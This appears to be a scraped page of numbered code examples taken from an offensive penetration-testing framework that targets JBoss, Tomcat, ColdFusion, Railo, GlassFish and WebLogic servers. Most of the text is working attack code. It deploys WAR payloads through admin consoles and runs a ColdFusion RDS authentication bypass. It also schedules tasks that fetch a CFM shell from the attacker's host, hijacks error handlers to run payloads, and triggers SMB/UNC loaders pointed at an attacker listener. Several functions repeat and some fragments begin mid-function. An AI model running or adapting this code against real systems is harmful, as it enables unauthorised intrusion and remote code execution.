    cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                        fingerprint.title, fingerprint.version)
    if not cookies:
        utility.Msg(
            "Could not get auth for %s:%s" %
            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
        return

    utility.Msg("Preparing to deploy {0}...".format(war_file))

    if fingerprint.version in ['6.0', '7.0', '8.0']:
        # deploying via the gui requires a CSRF token
        (csrf, c) = fetchCSRF(base, cookies)
        if not csrf:
            return
        else:
            # set CSRF and refresh session id
            uri += '?org.apache.catalina.filters.CSRF_NONCE={0}'
            uri = uri.format(csrf)
            cookies = (c, cookies[1])

    # read in payload
    try:
        tag = 'deployWar'
        if fingerprint.version in ['4.0', '4.1']:
            tag = 'installWar'
        files = {tag: (war_path + '.war', open(war_file, 'rb'))}
    except Exception as e:
        utility.Msg(e, LOG.ERROR)
        return

    # deploy
    response = utility.requests_post(base + uri,
                                     files=files,
                                     cookies=cookies[0],
                                     auth=cookies[1])

    if response.status_code == 200 and "OK" in response.content:
        utility.Msg("Deployed {0} to /{1}".format(war_file, war_path),
                    LOG.SUCCESS)
    elif 'Application already exists' in response.content:
        utility.Msg("Application {0} is already deployed".format(war_file),
                    LOG.ERROR)
    elif response.status_code is 403:
        utility.Msg("This account does not have permissions to remotely deploy.  Try"\
                    " using manager_deploy", LOG.ERROR)
    else:
        utility.Msg("Failed to deploy (HTTP %d)" % response.status_code,
                    LOG.ERROR)
Example #26
0
def jmx_undeploy(fingerengine, fingerprint):
    """
    """

    context = fingerengine.options.undeploy
    # ensure leading / is stripped
    context = context if not '/' in context else context[1:]
    # check for trailing war
    context = context if '.war' in context else context + '.war'

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
        fingerengine.options.ip, fingerprint.port)

    wid = fetchId(context, url)
    if not wid:
        utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR)
        return

    data = OrderedDict([
        ('action', 'invokeOp'),
        ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)),
        ('methodIndex', 0)
    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:

        utility.Msg(
            "Host %s:%s requires auth, checking..." %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url,
                                             data=data,
                                             cookies=cookies[0],
                                             auth=cookies[1])
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)

    if response.status_code == 200:
        utility.Msg(
            "{0} undeployed.  WAR may still show under list".format(context))
Example #27
0
def deploy(fingerengine, fingerprint):
    """ Upload via the exposed REST API
    """

    if fingerprint.version in ['3.1', '4.0']:
        state.ssl = True

    war_file = fingerengine.options.deploy
    war_path = abspath(war_file)
    war_name = parse_war_path(war_file)
    dip = fingerengine.options.ip
    headers = {"Accept": "application/json", "X-Requested-By": "requests"}

    cookie = checkAuth(dip, fingerprint.port, title)
    if not cookie:
        utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port),
                    LOG.ERROR)
        return

    utility.Msg("Preparing to deploy {0}...".format(war_file))
    base = 'http://{0}:{1}'.format(dip, fingerprint.port)
    uri = '/management/domain/applications/application'

    data = {'id': open(war_path, 'rb'), 'force': 'true'}

    response = utility.requests_post(base + uri,
                                     files=data,
                                     auth=cookie,
                                     headers=headers)
    if response.status_code is 200:

        if fingerprint.version in ['3.0']:

            # GF 3.0 ignores context-root and appends a random character string to
            # the name.  We need to fetch it, then set it as our random_int for
            # invoke support.  There's also no list-wars in here...
            url = base + '/management/domain/applications/application'
            response = utility.requests_get(url, auth=cookie, headers=headers)
            if response.status_code is 200:

                data = json.loads(response.content)
                for entry in data[u"Child Resources"]:
                    if war_name in entry:
                        rand = entry.rsplit('/', 1)[1]
                        rand = rand.split(war_name)[1]
                        fingerengine.random_int = str(rand)

                utility.Msg(
                    "Deployed {0} to :8080/{0}{1}".format(war_name, rand),
                    LOG.SUCCESS)
        else:
            utility.Msg("Deployed {0} to :8080/{0}".format(war_name),
                        LOG.SUCCESS)
    else:
        utility.Msg(
            "Failed to deploy {0} (HTTP {1})".format(war_name,
                                                     response.status_code),
            LOG.ERROR)
Example #28
0
    def runLatter(self, fingerengine, fingerprint, smb_thread):
        """
        """

        base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
        uri = "/manager/html/deploy"
        data = OrderedDict([
                    ("deployPath", "/asdf"),
                    ("deployConfig", ""),
                    ("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
                   ])

        cookies = None
        nonce = None

        # probe for auth
        response = utility.requests_get(base + '/manager/html')
        if response.status_code == 401:
            
            utility.Msg("Host %s:%s requires auth, checking.." % 
                            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

            if cookies:
                response = utility.requests_get(base + '/manager/html', 
                                                cookies=cookies[0],
                                                auth=cookies[1])

                # get nonce
                nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
                if len(nonce) > 0:
                    nonce = nonce[0]
               
                # set new jsessionid
                cookies = (dict_from_cookiejar(response.cookies), cookies[1])
            else:
                utility.Msg("Could not get auth for %s:%s" % 
                                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
                return

        if response.status_code == 200:

            try:
                # all setup, now invoke
                response = utility.requests_post(base + uri + \
                                        '?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
                                        data = data, cookies=cookies[0],
                                        auth=cookies[1])
            except:
                # timeout
                pass

            while smb_thread.is_alive():
                # spin...
                sleep(1) 
def attemptRDS(ip, port):
    """ If version 9.x is found, we attempt to bypass authentication using
    the RDS vulnerability (CVS-2013-0632)            
    """

    utility.Msg("Attempting RDS bypass...", LOG.DEBUG)
    url = "http://{0}:{1}".format(ip, port)
    uri = "/CFIDE/adminapi/administrator.cfc?method=login"
    data = {"adminpassword": '', "rdsPasswordAllowed": 1}

    response = utility.requests_post(url + uri, data)
    if response.status_code is 200 and "true" in response.content:
        return (dict_from_cookiejar(response.cookies), None)
    else:
        # try it with rdsPasswordAllowed = 0
        data['rdsPasswordAllowed'] = 0
        response = utility.requests_post(url + uri, data)
        if response.status_code is 200 and "true" in response.content:
            return (dict_from_cookiejar(response.cookies), None)
Example #30
0
def undeploy(fingerengine, fingerprint):
    """ Undeploy a deployed application from the remote WL server
    """

    app = fingerengine.options.undeploy
    # ensure it ends with war
    app = app if '.war' in app else app + '.war'

    base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
    if fingerprint.title is WINTERFACES.WLS:
        base = base.replace("http", "https")

    uri = "/console/console.portal?AppApplicationUninstallPortletreturnTo="\
          "AppAppApp&AppDeploymentsControlPortlethandler="\
          "com.bea.console.handles.JMXHandle(\"com.bea:Name=mydomain,Type=Domain\")"
    data = { "all" : "on",
            "AppApplicationUninstallPortletchosenContents" : 
                    "com.bea.console.handles.AppDeploymentHandle%28%22com.bea"\
                    "%3AName%3D{0}%2CType%3DAppDeployment%22%29".format(app),
            "_pageLabel" : "AppApplicationUninstallPage",
            "_nfpb" : "true",
            "AppApplicationUninstallPortletfrsc" : None
           }

    utility.Msg("Host %s:%s requires auth, checking.." % 
                    (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
    cookies = checkAuth(fingerengine.options.ip, fingerprint, True)
    
    if cookies[0]:

        data['AppApplicationUninstallPortletfrsc'] = fetchCSRF(base, cookies[0])

        try:
            utility.requests_post(base + uri, data=data, cookies=cookies[0], timeout=1.0)
        except exceptions.Timeout:
            utility.Msg("{0} undeployed.".format(app), LOG.SUCCESS)
        else:
            utility.Msg("Failed to undeploy {0}".format(app), LOG.ERROR)

    else:
        utility.Msg("Could not get auth for %s:%s" % 
                        (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
Example #31
0
def create_task(ip, fingerprint, cfm_file, root):
    """ Create the task
    """

    url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\
                                                    format(ip, fingerprint.port)

    (cookie, csrf) = fetch_csrf(ip, fingerprint, url)
    data = {
        "TaskName":
        cfm_file,
        "Start_Date":
        "Jan 27, 2014",  # shouldnt matter since we force run
        "ScheduleType":
        "Once",
        "StartTimeOnce":
        "9:56 PM",  # see above
        "Operation":
        "HTTPRequest",
        "ScheduledURL":
        "http://{0}:{1}/{2}".format(state.external_port,
                                    utility.local_address(), cfm_file),
        "publish":
        "1",
        "publish_file":
        root + "\\" + cfm_file,  # slash on OS?
        "adminsubmit":
        "Submit"
    }

    # version-specific settings
    if fingerprint.version in ["9.0", "10.0", '11.0']:
        data['csrftoken'] = csrf

    if fingerprint.version in ["10.0", '11.0']:
        data['publish_overwrite'] = 'on'

    if fingerprint.version in ["7.0", "8.0"]:
        data['taskNameOrig'] = ""

    response = utility.requests_get(url, cookies=cookie)
    if response.status_code is 200:

        # create task
        response = utility.requests_post(
            url,
            data=data,
            cookies=cookie,
            headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if response.status_code is 200:
            return True
        else:
            utility.Msg("Failed to deploy (HTTP %d)" % response.status_code,
                        LOG.ERROR)
Example #32
0
def delete_task(ip, fingerprint, cfm_file, cookie):
    """
	"""

    base = 'http://{0}:{1}'.format(ip, fingerprint.port)
    uri = '/CFIDE/administrator/scheduler/deletetask.cfm'
    data = {"deletesubmit": "Yes", "task": cfm_file}

    response = utility.requests_post(base + uri, data=data, cookies=cookie)
    if response.status_code == 200:
        return True
Example #33
0
def _auth(usr, pswd, url, version):
    """ Currently only auths to the admin interface
    """

    data = {"userName": usr, "password": pswd, "submit": "+Login+"}

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and not "name=\"password\"" in response.content:
        utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd),
                    LOG.DEBUG)
        return dict_from_cookiejar(response.cookies)
Example #34
0
def set_template(ip, fingerprint, root, cfm_file):
    """ ColdFusion 10.x+ doesn't allow us to simply schedule a task to obtain
    a CFM shell; instead, we deploy the payload with a .log extension, then set
    the file as the 404 handler.  We can then trigger a 404 to invoke our payload.
    """

    url = "http://{0}:{1}/CFIDE/administrator/settings/server_settings.cfm"\
                                .format(ip, fingerprint.port)

    template_handler = '/' + root.rsplit('\\', 1)[1] + '/' + cfm_file
    utility.Msg("Setting template handler to %s" % template_handler, LOG.DEBUG)

    (cookie, csrftoken) = fetch_csrf(ip, fingerprint, url)
    data = {
        "csrftoken": csrftoken,
        "LimitTime": "true",
        "MaxSeconds": 60,
        "enablePerAppSettings": 1,
        "uuidtoken": 1,
        "enablehttpst": 1,
        "WsEnable": 1,
        "secureJSONPrefix": "//",
        "outputBufferMax": 1024,
        "enableInMemoryFileSystem": 1,
        "inMemoryFileSystemLimit": 100,
        "inMemoryFileSystemApplicationLimit": 20,
        "WatchInterval": 120,
        "globalScriptProtect": "FORM,URL,COOKIE,CGI",
        "allowExtraAttributesInAttrColl": 1,
        "cFaaSGeneratedFilesExpiryTime": 30,
        "ORMSearchIndexDirectory": "",
        "CFFORMScriptSrc": "/CFIDE/scripts/",
        "GoogleMapKey": "",
        "serverCFC": "Server",
        "applicationCFCLookup": 1,
        "MissingTemplateHandler": template_handler,
        "SiteWideErrorHandler": "",
        "postParametersLimit": 100,
        "postSizeLimit": 20,
        "throttleThreshold": 4,
        "throttleMemory": 200,
        "adminsubmit": "Submit Changes"
    }

    response = utility.requests_post(url, data=data, cookies=cookie)

    if response.status_code == 200:
        if "missing template handler does not exist" in response.content:
            utility.Msg("Failed to set handler; invoked file not found.",
                        LOG.ERROR)
        else:
            utility.Msg("Deployed.  Access /CFIDE/ad123.cfm for your payload.",
                        LOG.SUCCESS)
        return True
Example #35
0
def jmx_undeploy(fingerengine, fingerprint):
    """
    """

    context = fingerengine.options.undeploy
    # ensure leading / is stripped
    context = context if not '/' in context else context[1:]
    # check for trailing war
    context = context if '.war' in context else context + '.war'

    url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format(
                    fingerengine.options.ip, fingerprint.port)

    wid = fetchId(context, url)
    if not wid:
        utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR)
        return

    data = OrderedDict([
                    ('action', 'invokeOp'),
                    ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)),
                    ('methodIndex', 0)
                    ])

    response = utility.requests_post(url, data=data)
    if response.status_code == 401:

        utility.Msg("Host %s:%s requires auth, checking..." %
                        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            response = utility.requests_post(url, data=data, cookies=cookies[0],
                                            auth=cookies[1])
        else:
            utility.Msg("Could not get auth for %s:%s" %
                            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)

    if response.status_code == 200:
        utility.Msg("{0} undeployed.  WAR may still show under list".format(context)) 
Example #36
0
    def run7(self, fingerengine, fingerprint):
        """ JBoss 7.x does not have a jmx-console, and instead uses an 
        HTTP management API that can be queried with JSON.  It's not
        much fun to parse, but it does its job.
        """

        headers = {'Content-Type': 'application/json'}
        data = '{"operation":"read-resource","address":[{"deployment":"*"}]}'
        url = "http://{0}:{1}/management".format(fingerengine.options.ip,
                                                 fingerprint.port)

        response = utility.requests_post(url, headers=headers, data=data)
        if response.status_code == 401:
            utility.Msg(
                "Host %s:%s requires auth for management, checking..." %
                (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)

            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)
            if cookies:
                response = utility.requests_post(url,
                                                 headers=headers,
                                                 data=data,
                                                 auth=cookies[1])
            else:
                utility.Msg(
                    "Could not get auth for %s:%s" %
                    (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
                return

        json_list = response.json()['result']
        for item in json_list:

            item_dict = dict(item)
            if "address" in item_dict.keys():
                utility.Msg("Deployment found: %s" %
                            dict(item_dict['address'][0])['deployment'])

        if len(json_list) <= 0:
            utility.Msg("No deployments found.", LOG.INFO)
Example #37
0
def set_template(ip, fingerprint, root, cfm_file):
    """ ColdFusion 10.x+ doesn't allow us to simply schedule a task to obtain
    a CFM shell; instead, we deploy the payload with a .log extension, then set
    the file as the 404 handler.  We can then trigger a 404 to invoke our payload.
    """

    url = "http://{0}:{1}/CFIDE/administrator/settings/server_settings.cfm"\
                                .format(ip, fingerprint.port)

    template_handler = '/' + root.rsplit('\\', 1)[1] + '/' + cfm_file
    utility.Msg("Setting template handler to %s" % template_handler, LOG.DEBUG)

    (cookie, csrftoken) = fetch_csrf(ip, fingerprint, url)
    data = {
            "csrftoken" : csrftoken,
            "LimitTime" : "true",
            "MaxSeconds": 60,
            "enablePerAppSettings" : 1,
            "uuidtoken" : 1,
            "enablehttpst" : 1,
            "WsEnable" : 1,
            "secureJSONPrefix" : "//",
            "outputBufferMax" : 1024,
            "enableInMemoryFileSystem" : 1,
            "inMemoryFileSystemLimit" : 100,
            "inMemoryFileSystemApplicationLimit" : 20,
            "WatchInterval" : 120,
            "globalScriptProtect" : "FORM,URL,COOKIE,CGI",
            "allowExtraAttributesInAttrColl" : 1,
            "cFaaSGeneratedFilesExpiryTime" : 30,
            "ORMSearchIndexDirectory" : "",
            "CFFORMScriptSrc" : "/CFIDE/scripts/",
            "GoogleMapKey" : "",
            "serverCFC" : "Server",
            "applicationCFCLookup" : 1,
            "MissingTemplateHandler" : template_handler,
            "SiteWideErrorHandler" : "",
            "postParametersLimit" : 100,
            "postSizeLimit" : 20,
            "throttleThreshold" : 4,
            "throttleMemory" : 200,
            "adminsubmit" : "Submit Changes"
           }

    response = utility.requests_post(url, data=data, cookies=cookie)

    if response.status_code == 200:
        if "missing template handler does not exist" in response.content:
            utility.Msg("Failed to set handler; invoked file not found.", LOG.ERROR)
        else:
            utility.Msg("Deployed.  Access /CFIDE/ad123.cfm for your payload.", LOG.SUCCESS)
        return True
Example #38
0
def fetchId(base, path, cookie):
    """ Pretty simple two-step process to fetch the id:

            a) Set the error handler template to the id file
            b) Trigger an error
            c) restore handler
    """

    # set error handler
    set_template = '/railo-context/admin/web.cfm?action=server.error'
    data = {
        'errType500': 'Select',
        'errorTemplate_Select500':
        '/railo-context/templates/error/error.cfm',  # default
        'errType404': 'File',
        'errorTemplate_File404': '/railo-context/../id',
        'doStatusCode': 'yes',
        'mainAction': 'update'
    }

    response = utility.requests_post(base + set_template,
                                     data=data,
                                     cookies=cookie)
    if response.status_code is not 200:
        utility.Msg(
            "Failed to set error handler (HTTP %d)" % response.status_code,
            LOG.ERROR)
        return None

    # trigger 404 and pull file
    response = utility.requests_get(base + '/railo-context/admin/xx.cfm')
    id = response.content

    # got the ID, restore handler
    data['errorTemplate_File404'] = '/railo-context/templates/error/error.cfm'
    response = utility.requests_post(base + set_template,
                                     data=data,
                                     cookies=cookie)
    return id
Example #39
0
def attemptRDS(ip, port):
    """ If version 9.x is found, we attempt to bypass authentication using
    the RDS vulnerability (CVS-2013-0632)            
    """

    utility.Msg("Attempting RDS bypass...", LOG.DEBUG)           
    url = "http://{0}:{1}".format(ip, port)
    uri = "/CFIDE/adminapi/administrator.cfc?method=login"
    data = {
             "adminpassword" : '',
             "rdsPasswordAllowed" : 1
           }

    response = utility.requests_post(url + uri, data)
    if response.status_code is 200 and "true" in response.content:
        return (dict_from_cookiejar(response.cookies), None)
    else:
        # try it with rdsPasswordAllowed = 0
        data['rdsPasswordAllowed'] = 0
        response = utility.requests_post(url + uri, data)
        if response.status_code is 200 and "true" in response.content:
            return (dict_from_cookiejar(response.cookies), None)
Example #40
0
    def run(self, fingerengine, fingerprint):
        """ Same as JBoss/Tomcat
        """

        if getuid() > 0:
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
        uri = '/console/console.portal?AppApplicationInstallPortlet_actionOverride'\
              '=/com/bea/console/actions/app/install/appSelected'
        data = { "AppApplicationInstallPortletselectedAppPath" :
                 "\\\\{0}\\fdas.war".format(utility.local_address()),
                 "AppApplicationInstallPortletfrsc" : None
                }

        if fingerprint.title is WINTERFACES.WLS:
            base = base.replace("http", "https")

        utility.Msg("Host %s:%s requires auth, checking.." %
                        (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint)

        if cookies[0]:

            utility.Msg("Setting up SMB listener...")
            self._Listen = True
            thread = Thread(target=self.smb_listener)
            thread.start()

            # fetch our CSRF
            data['AppApplicationInstallPortletfrsc'] = self.fetchCSRF(base, cookies[0])

            utility.Msg("Invoking UNC loader...")

            try:
                _ = utility.requests_post(base+uri, data=data, cookies=cookies[0],
                                timeout=1.0)
            except:
                # we dont care about the response here
                pass
        else:
            utility.Msg("Could not get auth for %s:%s" %
                            (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

        while thread.is_alive():
            # spin
            sleep(1)

        self._Listen = False
Example #41
0
    def run7(self, fingerengine, fingerprint):
        """ JBoss 7.x does not have a jmx-console, and instead uses an 
        HTTP management API that can be queried with JSON.  It's not
        much fun to parse, but it does its job.
        """

        headers = {'Content-Type' : 'application/json'}
        data = '{"operation":"read-resource","address":[{"deployment":"*"}]}'
        url = "http://{0}:{1}/management".format(fingerengine.options.ip,
                                                 fingerprint.port)

        response = utility.requests_post(url, headers=headers, data=data)
        if response.status_code == 401:
            utility.Msg("Host %s:%s requires auth for management, checking..." % 
                                    (fingerengine.options.ip, fingerprint.port),
                                    LOG.DEBUG)

            cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                                fingerprint.title, fingerprint.version)
            if cookies:
                response = utility.requests_post(url, headers=headers, data=data,
                                                 auth=cookies[1])
            else:
                utility.Msg("Could not get auth for %s:%s" % 
                                    (fingerengine.options.ip, fingerprint.port),
                                    LOG.ERROR)
                return

        json_list = response.json()['result']
        for item in json_list:

            item_dict = dict(item)
            if "address" in item_dict.keys():
                utility.Msg("Deployment found: %s" % 
                                    dict(item_dict['address'][0])['deployment'])

        if len(json_list) <= 0:
            utility.Msg("No deployments found.", LOG.INFO)
Example #42
0
def _auth(usr, pswd, url, version):
    """ Currently only auths to the admin interface
    """

    data = { 
             "userName" : usr,
             "password" : pswd,
             "submit" : "+Login+"
           }

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and not "name=\"password\"" in response.content:
        utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG)
        return dict_from_cookiejar(response.cookies)
Example #43
0
def delete_task(ip, fingerprint, cfm_file, cookie):
	"""
	"""

	base = 'http://{0}:{1}'.format(ip, fingerprint.port)
	uri = '/CFIDE/administrator/scheduler/deletetask.cfm'
	data = {
		"deletesubmit" : "Yes",
		"task" : cfm_file
	}

	response = utility.requests_post(base + uri, data=data, cookies=cookie)
	if response.status_code is 200:
		return True
Example #44
0
def manage_undeploy(fingerengine, fingerprint):
    """ This is used to undeploy from JBoss 7.x and 8.x
    """

    context = fingerengine.options.undeploy
    context = parse_war_path(context)

    url = 'http://{0}:{1}/management'.format(fingerengine.options.ip,
                                             fingerprint.port)

    undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\
                                                            .format(context)
    headers = {'Content-Type': "application/json"}

    response = utility.requests_post(url, headers=headers, data=undeploy)
    if response.status_code == 401:

        utility.Msg(
            "Host %s:%s requires auth, checking..." %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookie = checkAuth(fingerengine.options.ip, fingerprint.port,
                           fingerprint.title, fingerprint.version)
        if cookie:
            response = utility.requests_post(url,
                                             headers=headers,
                                             data=undeploy,
                                             cookies=cookie[0],
                                             auth=cookie[1])
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)

    if response.status_code == 200:
        utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS)
    else:
        utility.Msg("Failed to undeploy", LOG.ERROR)
Example #45
0
def delete_task(ip, fingerprint, cfm_file):
    """
    """

    global cookie

    base = "http://{0}:{1}/railo-context/admin/web.cfm".format(
        ip, fingerprint.port)
    params = "?action=services.schedule"
    data = OrderedDict([("row_1", "1"), ("name_1", cfm_file),
                        ("mainAction", "delete")])

    response = utility.requests_post(base + params, data=data, cookies=cookie)
    if response.status_code is 200:
        return True
Example #46
0
    def run(self, fingerengine, fingerprint):
        """ Create a search collection via a nonexistent
        datasource
        """

        if getuid() > 0:
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        utility.Msg("Setting up SMB listener...")

        self._Listen = True
        thread = Thread(target=self.smb_listener)
        thread.start()

        utility.Msg("Invoking UNC deployer...")

        base = 'http://{0}:{1}'.format(fingerengine.options.ip,
                                       fingerprint.port)
        uri = "/railo-context/admin/web.cfm?action=services.search"
        data = {
            "collName": "asdf",
            "collPath": "\\\\{0}\\asdf".format(utility.local_address()),
            "collLanguage": "english",
            "run": "create"
        }

        url = base + uri
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title)
        if not cookies:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            self._Listen = False
            return

        response = utility.requests_post(url, data=data, cookies=cookies)

        while thread.is_alive():
            # spin...
            sleep(1)

        if response.status_code != 200:

            utility.Msg("Unexpected response: HTTP %d" % response.status_code)

        self._Listen = False
def _auth(pswd, url, title):
    """ Support auth for both the web and server interfaces
    """

    data = OrderedDict([("lang", "en"), ("rememberMe", "yyyy"),
                        ("submit", "submit")])

    if title is RINTERFACES.WEB:
        data["login_passwordweb"] = pswd
    elif title is RINTERFACES.SRV:
        data['login_passwordserver'] = pswd

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and "login.login_password" not in response.content:
        utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG)
        return dict_from_cookiejar(response.cookies)
Example #48
0
def redo_auth(fingerengine, fingerprint, url, **args):
    """ For whatever reason, we need to reauth at each stage of this process.
    It's a huge pain, and I have no idea why they thought this was a great idea.
    If you perform a deployment manually and inspect the traffic with a web
    proxy, you can see the 401's for each step.  It's ridiculous.
    """

    response = None
    utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
    cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version)

    if cookies:
        response = utility.requests_post(url, auth=cookies[1], **args)
    else:
        utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR)

    return response
Example #49
0
    def run(self, fingerengine, fingerprint):
        """ Create a search collection via a nonexistent
        datasource
        """

        if getuid() > 0:
            utility.Msg("Root privs required for this module.", LOG.ERROR)
            return

        utility.Msg("Setting up SMB listener...")

        self._Listen = True
        thread = Thread(target=self.smb_listener)
        thread.start()

        utility.Msg("Invoking UNC deployer...")

        base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
        uri = "/railo-context/admin/web.cfm?action=services.search"
        data = { "collName" : "asdf",
                 "collPath" : "\\\\{0}\\asdf".format(utility.local_address()),
                 "collLanguage" : "english",
                 "run" : "create"
               }

        url = base + uri
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title)
        if not cookies:
            utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip,
                                                          fingerprint.port),
                                                          LOG.ERROR)
            self._Listen = False
            return

        response = utility.requests_post(url, data=data, cookies=cookies)

        while thread.is_alive():
            # spin...
            sleep(1)

        if response.status_code != 200:

            utility.Msg("Unexpected response: HTTP %d" % response.status_code)

        self._Listen = False
Example #50
0
def delete_task(ip, fingerprint, cfm_file):
    """
    """

    global cookie            
    
    base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port)
    params = "?action=services.schedule"
    data = OrderedDict([
                    ("row_1", "1"),
                    ("name_1", cfm_file),
                    ("mainAction", "delete")
                    ])

    response = utility.requests_post(base + params, data=data, cookies=cookie)
    if response.status_code is 200:
        return True
Example #51
0
def undeploy(fingerengine, fingerprint):
    """ Undeploying is quite simple via the exposed REST API
    """

    if fingerprint.version in ['3.1', '4.0']:
        state.ssl = True

    base = 'http://{0}:{1}'.format(fingerengine.options.ip,
                                    fingerprint.port)
    context = parse_war_path(fingerengine.options.undeploy)
    cookie = checkAuth(fingerengine.options.ip, fingerprint.port,
                       fingerprint.title)
    headers = {
            "Accept" : "application/json",
            "X-Requested-By" : "requests"
    }

    if not cookie:
        utility.Msg("Could not get auth for %s:%s" %
                       (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
        return

    utility.Msg("Preparing to undeploy %s..." % context)
    uri = '/management/domain/applications/application/%s' % context

    if fingerprint.version in ['3.0']:

        # GF 3.0 doesnt appear to support the DELETE verb
        data = {
                "operation" : "__deleteoperation"
        }

        response = utility.requests_post(base + uri, auth=cookie,
                                         headers=headers,
                                         data=data)
    else:
        response = utility.requests_delete(base + uri, auth=cookie, 
                                         headers=headers)

    if response.status_code is 200:
        utility.Msg("'%s' undeployed successfully" % context, LOG.SUCCESS)
    else:
        utility.Msg("Failed to undeploy %s: %s" % (context, response.content),
                                                  LOG.ERROR)
    def check(self, ip, port = None):
        """
        """

        try:
            rport = self.port if port is None else port
            url = "http://{0}:{1}/resource/xx.cs".format(ip, rport)
            main_url = "http://{0}:{1}{2}".format(ip, rport, self.uri)

            response = utility.requests_get(url)
            if response.status_code == 404:

                data = findall("Edition|Server (.*?) *</h3>", response.content)
                if len(data) > 0 and self.version in data[0]:

                    #
                    # The admin interface can be remotely exposed, but not accessible; lets
                    # check for that 
                    #
                    main_r = utility.requests_post(main_url, 
                                    data={"j_username":"******",
                                          "j_password":"",
                                          "loginButton.DisabledHiddenField":"true"
                                          }
                                    )

                    if 'Secure Admin must be enabled' in main_r.content:
                        utility.Msg("Admin interface version %s discovered, but"
                                    " not remotely accessible." % self.version,
                                    LOG.UPDATE)
                        return False
                
                    return True

        except exceptions.Timeout:
            utility.Msg("{0} timeout to {1}:{2}".format(self.platform,
                                                        ip, rport),
                                                        LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg("{0} connection error to {1}:{2}".format(self.platform,
                                                          ip, rport),
                                                          LOG.DEBUG)
        return False
Example #53
0
def _auth(pswd, url, title):
    """ Support auth for both the web and server interfaces
    """            

    data = OrderedDict([ 
                ("lang", "en"),
                ("rememberMe", "yyyy"),
                ("submit", "submit")
            ])
    
    if title is RINTERFACES.WEB:            
        data["login_passwordweb"] =  pswd
    elif title is RINTERFACES.SRV:
        data['login_passwordserver'] = pswd

    response = utility.requests_post(url, data=data)
    if response.status_code is 200 and "login.login_password" not in response.content:
        utility.Msg("Successfully authenticated with '%s'" % pswd, LOG.DEBUG)
        return dict_from_cookiejar(response.cookies)
Example #54
0
def make_request(method,
                 host,
                 port,
                 ssl,
                 url,
                 data,
                 cookies=None,
                 allow_redirects=True):
    response = None
    if port == None and ssl:
        port = 443
    if port == None and not ssl:
        port = 80
    try:
        url = "{0}://{1}:{2}{3}".format("https" if ssl else "http", host, port,
                                        url)
        if method == 'GET':
            response = utility.requests_get(url, cookies=cookies)
        elif method == 'BASIC':
            response = utility.requests_get(url,
                                            cookies=cookies,
                                            auth=(data['username'],
                                                  data['password']))
        elif method == 'POST':
            response = utility.requests_post(url,
                                             data,
                                             cookies=cookies,
                                             allow_redirects=allow_redirects)
        elif method == 'HEAD':
            response = utility.requests_head(url, cookies=cookies)
        elif method == 'PUT':
            response = utility.requests_put(url, data, cookies=cookies)
        else:
            response = utility.requests_other(method, url, cookies=cookies)

        return response

